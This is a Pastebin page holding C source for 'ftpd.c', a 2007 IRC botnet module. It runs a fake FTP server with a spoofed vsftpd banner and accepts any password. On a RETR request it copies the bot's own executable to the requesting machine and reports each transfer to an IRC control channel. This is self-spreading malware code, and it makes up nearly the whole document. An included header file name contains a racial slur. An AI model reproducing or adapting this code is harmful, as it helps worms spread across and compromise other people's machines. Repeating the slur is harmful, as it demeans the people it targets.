Advertisement
FlyFar

ftpd.c

Dec 23rd, 2023
737
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 5.11 KB | Cybersecurity | 0 0
  1. /*
  2.  *      ftpd.c 2007 Ravo_5002
  3.  *      This code is for educational purposes only...
  4.  *      Most of this code has been ripped... Credits go to Stony i think...
  5.  */
  6.  
  7. #include <stdio.h>
  8. #include <winsock.h>
  9. #include <windows.h>
  10.  
  11. #include "ftpd.h"
  12. #include "niggerbot.h"
  13. #include "config.h"
  14.  
  15. unsigned long ftpd(void *s) {
  16.  
  17.     SOCKET ircconn = (SOCKET)s;
  18.  
  19.     SOCKET listener;
  20.     SOCKET newfd;
  21.  
  22.     char sendbuf[512];
  23.     struct sockaddr_in server_address;
  24.     struct sockaddr_in remoteaddr;
  25.     long h;
  26.     int reuse_addr = 1;
  27.     unsigned long mode = 1;
  28.     int fdmax;
  29.     int i;
  30.     int addrlen;
  31.     int nbytes;
  32.  
  33.     char buf[100];
  34.     char tmpbuf[100];
  35.     char tmpbuf2[100];
  36.     char a[4];
  37.     char b[4];
  38.     char c[4];
  39.     char d[4];
  40.     char p1[50];
  41.     char p2[50];
  42.     char tmpip[15];
  43.     int po,po2;
  44.  
  45.     struct fd_set master;   // master file descriptor list
  46.     struct fd_set read_fds; // temp file descriptor list for select()
  47.  
  48.     FD_ZERO(&master);    // clear the master and temp sets
  49.     FD_ZERO(&read_fds);
  50.  
  51.  
  52.     listener = socket(AF_INET, SOCK_STREAM, 0);
  53.     setsockopt(listener, SOL_SOCKET, SO_REUSEADDR, (char*)&reuse_addr,sizeof(reuse_addr));
  54.     ioctlsocket(listener, FIONBIO, &mode);
  55.  
  56.     server_address.sin_family = AF_INET;
  57.     server_address.sin_addr.s_addr = INADDR_ANY;
  58.     server_address.sin_port = htons(FTPPORT);
  59.  
  60.     if (bind(listener, (struct sockaddr *) &server_address,sizeof(server_address)) < 0 ) {
  61.         return 1;
  62.     }
  63.  
  64.     listen(listener,10);
  65.  
  66.     FD_SET(listener, &master);
  67.  
  68.     fdmax = listener;
  69.  
  70.  
  71.     while(1) {
  72.         read_fds = master;
  73.         if (select(fdmax+1, &read_fds, NULL, NULL, NULL) == -1) {
  74.             return 1;
  75.         }
  76.         for(i = 0; i <= fdmax; i++) {
  77.             memset(buf,0,sizeof(buf));
  78.             memset(tmpbuf,0,sizeof(tmpbuf));
  79.             if (FD_ISSET(i, &read_fds)) {
  80.                 if (i == (int)listener) {
  81.                     addrlen = sizeof(remoteaddr);
  82.                     if ((newfd = accept(listener, (struct sockaddr *)&remoteaddr,&addrlen)) != -1) {
  83.                         FD_SET(newfd, &master);
  84.                         if ((int)newfd > fdmax) {
  85.                             fdmax = newfd;
  86.                         }
  87.                         send(newfd, "220 VSFTPD V3.0 beta\n",21 , 0);
  88.                     }
  89.                 } else {
  90.                     if ((nbytes = recv(i, buf, sizeof(buf), 0)) <= 0) {
  91.                         FD_CLR(i, &master);
  92.                         closesocket(i);
  93.                     } else {
  94.                         sscanf(buf,"%s %s",tmpbuf,tmpbuf2);
  95.                         if (strcmp(tmpbuf,"USER") == 0) {
  96.                             send(i,"331 Password required\n",22 , 0);
  97.                         }
  98.                         else if (strcmp(tmpbuf,"PASS") == 0) {
  99.                             send(i,"230 User logged in.\n",20 , 0);
  100.                         }
  101.                         else if (strcmp(tmpbuf,"SYST") == 0) {
  102.                             send(i,"215 vnc ftpd\n",13 , 0);
  103.                         }
  104.                         else if (strcmp(tmpbuf,"REST") == 0) {
  105.                             send(i,"350 Restarting.\n",16 , 0);
  106.                         }
  107.                         else if (strcmp(tmpbuf,"PWD") == 0) {
  108.                             send(i,"257 \"/\" is current directory.\n",30 , 0);
  109.                         }
  110.                         else if ((strcmp(tmpbuf,"TYPE") == 0) && (strcmp(tmpbuf2,"A") == 0)) {
  111.                             send(i,"200 Type set to A.\n",19 , 0);
  112.                         }
  113.                         else if ((strcmp(tmpbuf,"TYPE") == 0) && (strcmp(tmpbuf2,"I") == 0)) {
  114.                             send(i,"200 Type set to I.\n",19 , 0);
  115.                         }
  116.                         else if (strcmp(tmpbuf,"PASV") == 0) {
  117.                             char pasv[] = "425 Passive not supported on this server\n";
  118.                             send(i, pasv, strlen(pasv), 0);
  119.                         }
  120.                         else if (strcmp(tmpbuf,"LIST") == 0) {
  121.                             char list[] = "226 Transfer complete\n";
  122.                             send(i, list, strlen(list), 0);
  123.                         }
  124.                         else if (strcmp(tmpbuf,"PORT") == 0) {
  125.                             sscanf(buf,"%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]",a,b,c,d,p1,p2);
  126.                             po = atoi(p1);
  127.                             po2 = atoi(p2);
  128.                             memset(p1,0,sizeof(p1));
  129.                             sprintf(p1,"%x%x\n",po,po2);
  130.                             h = strtoul(p1, NULL, 16);
  131.                             sprintf(tmpip,"%s.%s.%s.%s",a,b,c,d);
  132.                             send(i,"200 PORT command successful.\n",29 , 0);
  133.  
  134.                         }
  135.                         else if (strcmp(tmpbuf,"RETR") == 0) {
  136.                             send(i,"150 Opening BINARY mode data connection\n",40 , 0);
  137.                             if(sendbot(ircconn, tmpip, (int)h) == 1) {
  138.                                 send(i,"226 Transfer complete.\n",23 , 0);
  139.                             } else {
  140.                                 send(i,"425 Can't open data connection.\n",32,0);
  141.                             }
  142.                         }
  143.                         else if (strcmp(tmpbuf,"QUIT") == 0) {
  144.                             send(i,"221 Bye!\n",8 , 0);
  145.                         }
  146.                         memset(buf,0,sizeof(buf));
  147.                     }
  148.                 }
  149.             }
  150.         }
  151.     }
  152.     return 1;
  153. }
  154.  
  155. int sendbot(SOCKET ircconn, char *ip,int port) {
  156.     struct  sockaddr_in server;
  157.     SOCKET data_sock;
  158.     data_sock = socket(AF_INET, SOCK_STREAM, 0);
  159.     server.sin_family = AF_INET;
  160.     server.sin_addr.s_addr = inet_addr(ip);
  161.     server.sin_port = htons(port);
  162.  
  163.     char buff[4096];
  164.  
  165.     if (connect(data_sock,(struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) {
  166.         closesocket(data_sock);
  167.         sprintf(buff, "PRIVMSG %s :[VNC] transferring to %s:%d failed...\n", CHANNEL, ip, port);
  168.         send(ircconn,buff, strlen(buff), 0);
  169.         return 0;
  170.     }
  171.  
  172.     sprintf(buff, "PRIVMSG %s :[VNC] transferring %s:%d...\n", CHANNEL, ip, port);
  173.     send(ircconn,buff, strlen(buff), 0);
  174.     FILE * fid;
  175.     char myfname[512];
  176.     unsigned char buffer[1024];
  177.     GetModuleFileName(NULL,myfname,sizeof(myfname));
  178.  
  179.     fid = fopen(myfname, "rb");
  180.     if (!fid) { return 0; }
  181.  
  182.     while(!feof(fid))
  183.     {
  184.         fread(&buffer, sizeof(buffer), 1, fid);
  185.         send(data_sock, (const char*)buffer, sizeof(buffer), 0);
  186.         Sleep(1);
  187.     }
  188.     fclose(fid);
  189.     closesocket(data_sock);
  190.     return 1;
  191. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement